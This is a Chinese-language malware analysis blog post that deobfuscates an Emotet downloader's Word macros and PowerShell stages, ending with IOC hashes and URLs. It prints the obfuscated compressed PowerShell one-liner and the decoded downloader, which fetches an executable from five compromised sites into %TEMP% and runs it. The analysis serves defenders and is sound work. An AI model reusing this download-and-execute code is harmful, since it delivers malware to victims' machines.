正文

被植入恶意代码的Emotet Downloader细节分析

admin
admin V管理员 /0 评论 /14 阅读
0410
此篇文章发布距今已超过1121天，您需要注意文章的内容或图片是否可用！

我已经对Emotet Downloader进行了剖析，它使用宏和Powershell命令从受攻击的网站下载Emotet。最近他们已经修改了下载器的工作方式，并且已经被上传到了VirusBay。下面我们对其进行分析！

MD5哈希值:53ea2608f0e34e3e746801977b778305

如下图所示(右侧是新样本,左侧是旧样本),新旧两个文档有一些相似之处,他们均通过呈现一个旧版本的Microsoft Office创建的文档，谎称出现错误,并且为了查看错误受害者需要点击Enable Content（启用内容）。这一操作看起来似乎是合法的，那么让我们看看当点击了Enable Content时会运行什么程序。

当打开Macro部分时，出现两个宏，其中包含几个函数/子例程。首先查看的是autoopen()或auto_open()，因为该操作是单击“Enable Content”时被执行的。

还有对Sqr()的调用，它计算一个数字的平方根并将得出的值返回，我们稍后会对其分析。首先，我们将这些宏提取到一个文本文件中，这样可以更容易地对其进行处理。

由于纯文本的dropper(恶意应用输出程序)和downloader(恶意应用下载程序)因包含垃圾代码而臭名昭著，所以每当声明一个变量时，我都会检查该变量是否存在于宏的其他地方。“On Error Resume Next”说明文档中含有垃圾代码，它的基本意思是“如果提示错误，请忽略，继续进行下一步操作”。我首先检查了Hirfd和MLiDY是否同时存在于包含宏的两个文件中，结果不是。因此我假设该变量在整个恶意攻击过程中不是必需的，如果将剩下的部分除去混

淆后出现任何错误，我将不得不返回去分析剩下的部分。一旦我们忽略了垃圾代码并添加了一些评论，我们会得到如下结果:

因此，autoopen()只负责执行函数vwncz()，这是第一个宏中的另一个函数。

表面上看，这个函数中的垃圾代码似乎包含了CStr()，就像autoopen()一样，因此如果删除了这些行就会得到了如下:

可以认为这些值(wHjAK()、rDRYBhb()…)是函数，因为如果将它们与第二个宏交叉引用，它们则会被声明为函数。由此可知第二个宏;的目的是形成字符串。Shell()出现在字符串的开头，它可以在机器上执行文件。第一个参数中的第一个字母是“C”，因此我们可以猜测这与cmd有关。字符串末尾的0可以将程序从用户中隐藏——它基本上是vbHide，而不是它的数值。现在我们已经完全去除了第一个宏的混淆，下面继续对下一个宏去除混淆。

查看第一个宏中shell执行的字符串，wHjAK()是第一个被调用的，所以我们从该函数开始。将这两个文件进行比较，这两个文件都有CStr，因此可以假设任何带有CStr的字符串都是垃圾代码。去除所有带有CStr的字符串后，我们得到以下结果:

从外观上看，因为wHjAK是一个函数它会返回一个值，最后的字符串存储在wHjAK中，通过将所有的字符串添加在一起可以得到最终的输出。只需启动一个Python Interpreter，并将不包含End Function以及On Error Resume Next以上的所有东西的代码粘贴到其中，这样就不用手动添加字符串。通过这些操作，只需输入print wHjAK就可获得最终的字符串。

虽然很难猜测如果没有剩下的部分代码，该命令可以做什么，可以认为这一部分代码正在声明不同的变量,并执行一个隐藏命令提示符- %^c^o^m^S^p^E^c^% 基本上指向命令提示符的路径。现在我们可以把函数缩小到如下：

这种垃圾代码“模式”在每个函数中都存在，因此对于第三个函数，当删除所有CStr字符串并将其传输到Python Interpreter时，得到如下:

函数二和函数三是这样的:

虽然也可以对剩下的函数进行这种操作，但是太浪费时间。一个简单的Python脚本可以删除所有带有CStr的字符串，并将其余的行写到一个文件中:

当在第二个宏文件上运行该脚本时，可以提取所有不包含CStr的字符串。但是，如果这样会出现一个问题，那就是文件中会包含不必要的行，例如On Error Resume Next，因此可以将If语句更改为如下所示:

if "CStr" not in lines and "End" not in lines and "Error" not in lines and "Function_" not in lines:

这样就只剩下变量了。现在可以将所有重要的行写到文件中，但是仍然需要自己形成最终的字符串。我们或许可以再把它自动化一些。首先，我们需要找到函数名，并将找到的函数名输出。获取了包含最终字符串的函数之后，将数据写到另一个文件——这次是一个Python File，我们可以执行它来获得完整的字符串。新的文件将找到完整的字符串并将其写到另一个文件中，这样我们就可以将其读入主程序的内存中，并将其存储在一个变量中。如果这一操作没有作用，可以在这里找到完整的脚本——它是一个输出最终解码字符串的完整脚本。见结尾！

总之，在运行形成最终字符串的脚本时，我们将它作为shell命令:

因此，首先，该命令正设置全局变量，然后执行一个base64编码的字符串。在对base64字符串进行解码后，我们得到如下输出:

乍一看，它看起来像shellcode——但它不是。每一个\x00在空字节后面都包含一个字母。如果我们删除所有的空字节，得到的脚本如下:

因此可以确认这实际上是一个Powershell脚本，但是它又是在哪里被调用的?如果回到原始命令并分析所设置的变量，文件末尾如下:

!%izXfwddfGKP%!!%vqJRNrOQqvMv%!!%BOuDbApmqzScN%!!%voYPuLNXjn%!!%MUtvjfFlzFFsL%!!%HEYjHOmzK%! -e

如果我们将该特定字符串中的每个变量解析为所声明的变量，得到如下:

!%izXfwddfGKP%! = !%fuqGUmOvI%! = p
!%vqJRNrOQqvMv%! = !%KXEhPKfZWWmaJ%! = o^w
!%BOuDbApmqzScN%! = e^r
!%voYPuLNXjn%! = s
!%MUtvjfFlzFFsL%! = he
!%HEYjHOmzK%! = ll
!%izXfwddfGKP%! !%vqJRNrOQqvMv%! !%BOuDbApmqzScN%! !%voYPuLNXjn%! !%MUtvjfFlzFFsL%! !%HEYjHOmzK%! = po^we^rshell = powershell

因此，通过使用变量声明，该downloader能够形成字符串“powershell”并执行编码的字符串。现在回到我们找到的powershell脚本。

( neW-ObJect io.compRessION.DEfLatEstreAm([IO.MEMORystream][SySTEm.CONvErT]::fRoMBASE64stRiNg( 'VZDtS8MwEMb/lXwodEOXOF/RImzOijpfJvVlG4Jk6Wni2qQkV9s69r8b3RT8cnB3v+ce7gn06Lz4vCTHREPVMbN3EEgs16nJoyC9HX2c3v3fJY1DyOkNIH2C2SBToDEKqpOLGD0YSsTiiDGeQ11TN2fT/cvJlPXW46qqqOSpspkq8xItOOSld0MqTM66DUoxHP7REniGspCNU8J9E5SXrNjqD+KHfxdz7synyrimSr8aNulfdfvyj3DzJgOegv05wW7PD5pdvc1CmhSZwlbYC9tR8Hgx7t8n/oFglQfVUGOru0n2D7s7ex7Qw0E8Kb8B0B9HPoGCbJDwOfT1V+x7CjWE0auxwIVsBdU4nt0Rpckqn/YCbbNYp0pPTaUzw9MzlcEapfcmQav0W6u9SdaW7ShBbrEzskaAc7/jaOY95tFScBRyUVmF0JHGIQleaFwLKFAZTa+9gr9BtFx+AQ=='), [iO.cOmpREssIOn.COMPrESsioNmODe]::DeCOMpReSs) | %{ neW-ObJect sYStEm.iO.StrEaMReADER( $_,[SYstEM.tExt.eNcOdInG]::AsCII) } ).rEadtOeND()|&((VAriABle '*mdr*').NAMe[3,11,2]-jOin'')

该脚本中嵌入了一个Base64字符串，它是从使用[System.Convert]::FromBase64String的Base64转换而来的。问题是，当我们尝试用Base64解码该字符串时，得到的是乱码。

原因是该字符串被压缩了。为了解压它，可以使用一个名为zlib的Python模块。使用zlib.decompress()将压缩数据作为参数传递，得到解压缩值，即:

上篇Emotet文章中介绍了下载脚本，在每个“；”后添加新的一行形成如下：

$nPHpzJ = new-object random;
$dOPvDQ = new-object System.Net.WebClient;$wBIEt = 'http://amexx.sk/Z6JYZ/@http://www.hadirliumutrestaurant.com/1ythcKK/@http://healthphysics.com.au/p0ACEU/@http://www.masozilan.info/YAL1Ah/@http://skyleaders.com/OH7y4n2/'.Split);
$VIXATS = $nPHpzJ.next(1, 69135);
$nKCEYu = $env:temp + '\' + $VIXATS + '.exe';
for each ($wXEbQ in $wBIEt) {
    try {
        $dOPvDQ.DownloadFile($wXEbQ.ToString(), $nKCEYu);
        Start-Process $nKCEYu;
        break;
    }
    catch {
        write-host $_.Exception.Message;
    }
}

简单的说，该脚本通过在1和69135之间随机选择一个数字创建一个随机的文件名，然后将它作为.exe存储在%TEMP%目录中。启动一个for循环，该循环遍历存储在$dOPvDQ中的每个URL。然后该脚本尝试从该站点下载一个文件，并将其存储在%TEMP%目录中。然后使用Start-Process执行该文件。在检查了所有站点是否会下载一个文件之后，我得出的结论是，网站所有者(因为这些站点是合法的，只是被攻击了)删除了托管在其web服务器上的Emotet可执行文件。

总结：

IOC:
哈希值(MD5): 
文件: 53ea2608f0e34e3e746801977b778305
宏 1: a7f490aaab202c5fd38c136371009685
宏 2: 1bed5b9266f5497e258638eca7344963

URL:
hxxp://amexx.sk/Z6JYZ/
hxxp://www.hadirliumutrestaurant.com/1ythcKK/
hxxp://healthphysics.com.au/p0ACEU/
hxxp://www.masozilan.info/YAL1Ah/
hxxp://skyleaders.com/OH7y4n2/